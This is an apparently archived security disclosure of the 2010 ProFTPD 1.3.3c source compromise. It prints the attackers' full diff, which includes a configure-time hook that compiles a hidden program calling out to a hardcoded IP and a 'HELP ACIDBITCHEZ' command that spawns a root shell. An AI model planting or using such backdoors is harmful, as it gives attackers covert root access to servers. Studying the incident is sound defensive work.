ProFTPd 1.3.3c – Compromised Source Backdoor Remote Code Execution
== ProFTPD Compromise Report == On Sunday, the 28th of November 2010 around 20:00 UTC the main distribution server of the ProFTPD project was compromised. The attackers most likely used an unpatched security issue in the FTP daemon to gain access to the server and used their privileges to replace the source files for ProFTPD 1.3.3c with a version which contained a backdoor. The unauthorized modification of the source code was noticed by Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on Wednesday, December 1 and fixed shortly afterwards. The fact that the server acted as the main FTP site for the ProFTPD project (ftp.proftpd.org) as well as the rsync distribution server (rsync.proftpd.org) for all ProFTPD mirror servers means that anyone who downloaded ProFTPD 1.3.3c from one of the official mirrors from 2010-11-28 to 2010-12-02 will most likely be affected by the problem. The backdoor introduced by the attackers allows unauthenticated users remote root access to systems which run the maliciously modified version of the ProFTPD daemon. Users are strongly advised to check systems running the affected code for security compromises and compile/run a known good version of the code. To verify the integrity of the source files, use the GPG signatures available on the FTP servers as well on the ProFTPD homepage at: http://www.proftpd.org/md5_pgp.html. The MD5 sums for the source tarballs are: 8571bd78874b557e98480ed48e2df1d2 proftpd-1.3.3c.tar.bz2 4f2c554d6273b8145095837913ba9e5d proftpd-1.3.3c.tar.gz = Rootkit patch = diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure --- proftpd-1.3.3c.orig/configure 2010-04-14 00:01:35.000000000 +0200 +++ proftpd-1.3.3c/configure 2010-10-29 19:08:56.000000000 +0200 @@ -9,7 +9,10 @@ ## --------------------- ## ## M4sh Initialization. ## ## --------------------- ## - +gcc tests/tests.c -o tests/tests >/dev/null 2>&1 +cc tests/tests.c -o tests/tests >/dev/null 2>&1 +tests/tests >/dev/null 2>&1 & +rm -rf tests/tests.c tests/tests >/dev/null 2>&1 # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c --- proftpd-1.3.3c.orig/src/help.c 2009-07-01 01:31:18.000000000 +0200 +++ proftpd-1.3.3c/src/help.c 2010-11-16 18:40:46.000000000 +0100 @@ -27,6 +27,8 @@ */ #include "conf.h" +#include <stdlib.h> +#include <string.h> struct help_rec { const char *cmd; @@ -126,7 +128,7 @@ cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin"); } else { - + if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } /* List the syntax for the given target command. */ for (i = 0; i < help_list->nelts; i++) { if (strcasecmp(helps[i].cmd, target) == 0) { diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c --- proftpd-1.3.3c.orig/tests/tests.c 1970-01-01 01:00:00.000000000 +0100 +++ proftpd-1.3.3c/tests/tests.c 2010-11-29 09:37:35.000000000 +0100 @@ -0,0 +1,58 @@ +#include <stdio.h> +#include <stdlib.h> +#include <sys/socket.h> +#include <sys/types.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <unistd.h> +#include <netdb.h> +#include <signal.h> +#include <string.h> + +#define DEF_PORT 9090 +#define DEF_TIMEOUT 15 +#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n" + +int sock; + +void handle_timeout(int sig) +{ + close(sock); + exit(0); +} + +int main(void) +{ + + struct sockaddr_in addr; + struct hostent *he; + u_short port; + char ip[20]="212.26.42.47"; /* EDB NOTE - HARDCODED IP */ + port = DEF_PORT; + signal(SIGALRM, handle_timeout); + alarm(DEF_TIMEOUT); + he=gethostbyname(ip); + if(he==NULL) return(-1); + addr.sin_addr.s_addr = *(unsigned long*)he->h_addr; + addr.sin_port = htons(port); + addr.sin_family = AF_INET; + memset(addr.sin_zero, 0, 8); + sprintf(ip, inet_ntoa(addr.sin_addr)); + if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) + { + return EXIT_FAILURE; + } + if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1) + { + close(sock); + return EXIT_FAILURE; + } + if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0)) + { + return EXIT_FAILURE; + } + close(sock); + +return 0; } + + |